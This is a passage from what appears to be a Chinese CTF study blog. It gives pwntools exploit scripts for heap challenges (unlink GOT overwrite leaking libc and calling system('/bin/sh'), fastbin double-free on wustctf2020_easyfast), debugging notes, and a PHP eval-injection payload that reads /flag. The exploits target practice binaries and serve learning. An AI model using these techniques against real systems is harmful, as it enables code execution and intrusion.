    #gdb.attach(io)
    free(3)
    io.recvuntil(b"OK\n")
    #
    payload=b'B'*8+p64(free_got)+p64(puts_got)+p64(atoi_got)
    edit(2,len(payload),payload)

    payload=p64(puts_plt)
    #why edit(0)
    edit(0,len(payload),payload)
    free(1)
    puts_addr=u64(io.recvuntil(b"\nOK\n",drop=True).ljust(8,b'\x00'))
    #puts_addr=u64(io.recv(8))
    print(hex(puts_addr))

    #libc=LibcSearcher("puts",puts_addr)
    libbase=puts_addr-libc.sym["puts"]
    system_addr=libbase+libc.sym["system"]
    str_bin_sh=libbase+next(libc.search(b"/bin/sh"))

    payload=p64(system_addr)
    #modify atoi@got
    edit(2,len(payload),payload)
    #it will use atoi() in the process
    io.send(p64(str_bin_sh))
    io.interactive()

     

  6. 总结:

    • unlink中实际的效果,注意结合攻击实例

    • 此题中chunk数据构造的原因

      • size为当前chunk实际大小,prev_size为上一个chunk大小

      • 我们申请空间为0x80,实际分配空间为0x90,因为还有管理信息存在(size&prev_size)

      • 指针指向的内容:在本题中FD&BK都指向chunk实际开始地址,而真实的chunk指针不是指向chunk开头

      • 注意在发送content的时候不能使用sendline,因为他会发送多余的"\n"

      • 为什么第一个payload要多加0x20?为了绕过以下检测

        if (chunksize (p) != prev_size (next_chunk (p)))
        malloc_printerr ("corrupted size vs. prev_size");

例10(wustctf2020_easyfast)

  1. checksec

  2. IDA程序分析

    • add:分配空间,并使bss段的*(buf+v1)指向该段空间

    • delete:没有检测是否已经free过,没有在free后将其值NULL

    • edit:编辑chunk

    • backdoor:后门函数,当0x602090=0时获得shell

  3. 思路:

    • 使用double free让一个chunk指向0x602090-0x10

    • 编辑其中数据即可

    • 获得shell、

  4. exp1

    from pwn import *
    #io=remote("node4.buuoj.cn",25205)
    io=process("./wustctf2020_easyfast")
    target=0x602080
    def add(size):
    io.recvuntil(b"choice>\n")
    io.sendline(b'1')
    io.recvuntil(b"size>\n")
    io.sendline(str(size).encode())

    def free(index):
    io.recvuntil(b"choice>\n")
    io.sendline(b'2')
    io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())

    def edit(index,content):
    io.recvuntil(b"choice>\n")
    io.sendline(b'3')
    io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())
    io.send(content)

    def backdoor():
    io.recvuntil(b"choice>\n")
    io.sendline(b'4')
    # why size=0x40
    add(0x40)
    add(0x40)
    free(0)
    edit(0,p64(target))
    add(0x40)
    add(0x40)
    edit(3,p64(0))
    backdoor()
    io.interactive()

    调试的时候free直接EOF error

    验证:size是否合法

  5. exp2

    from pwn import *
    #io=remote("node4.buuoj.cn",25205)
    io=process("./wustctf2020_easyfast")
    target=0x602080
    def add(size):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'1')
    #io.recvuntil(b"size>\n")
    io.sendline(str(size).encode())

    def free(index):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'2')
    #io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())

    def edit(index,content):
    #io.recvuntil(b"choice>\n")
    io.sendline(b'3')
    #io.recvuntil(b"index>\n")
    io.sendline(str(index).encode())
    io.send(content)

    def backdoor():
    io.recvuntil(b"choice>\n")
    io.sendline(b'4')

    add(0x40) #0
    add(0x40) #1
    free(0)
    free(1)
    free(0)
    add(0x40) #2
    edit(2,p64(target))
    add(0x40) #3
    log.success("1")
    gdb.attach(io)
    add(0x40) #4
    log.success("2")
    add(0x40) #5
    edit(5,p64(0))
    backdoor()
    io.interactive()

    该exp是使用了double free的方法,来自教学视频的讲师教解,但是讲师可能修改了该题,他修改后的程序为

    image-20211005222827837

    但是我们的程序为:

    image-20211005222949871

    由图可以看出,我们的程序仅允许3个使用中chunk,所以方法二失败

  6. 总结:

    • 为什么size=0x40

      因为调试可以查看到0x602090处的上一字节为0x50,如果我们分配chunk到0x602080,那么其size就对应着0x50

    • 在def模拟程序函数的时候,千万要使用单引号

      io.sendline(b'2')

记载一些遇到的错误

  1. 管道破裂

    image-20210718155258185

    • 原因:覆盖的返回地址写错了

      image-20210718155333402

    • 首先排除地址随机化:ASLR、NX、PIE

    • 可python运行的地址为0x7fffffffdf60

      image-20210718155503418

    • 修改后正确返回shell

    新问题:此类题如何寻找写入的实际地址???

  2. 如何查看单条汇编指令产生变化

    检测eip变化,栈溢出是否成功

  3. 哪些节位置位置是否固定

    • plt、got、got.plt节写死在ELF文件中,从IDA即可观察到其位置

    • 动态链接库:如果打开ASLR则每次运行位置不固定,没开ASLR则固定,但其中函数的之间的相对偏移量一定固定(不受任何保护措施影响)

    • 堆栈段:位置肯定不变,但有NX使其无法执行指令

    • bss:PIE开着位置不固定,没有PIE则位置固定

<?php
highlight_file('index.php');高亮显示

extract($_GET); php get post
error_reporting(0);
function String2Array($data)
{
if($data == '') return array();

@eval("\$array = $data;");

return $array;
}

cat /flag
if(is_array($attrid) && is_array($attrvalue))
{
$attrstr .= 'array(';
array("attrid的base64值"=>"attrvalue",...);
$attrids = count($attrid);
数参数
for($i=0; $i<$attrids; $i++)
{
$attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';

if($i < $attrids-1)
{
$attrstr .= ',';
}
}
$attrstr .= ');';
}

String2Array($attrstr);

payload:attrid=0&attrvalue=systeam('c /flag');

request

136-563

posted @ 2021-09-23 22:10  Deair  阅读(1253)  评论(0编辑  收藏  举报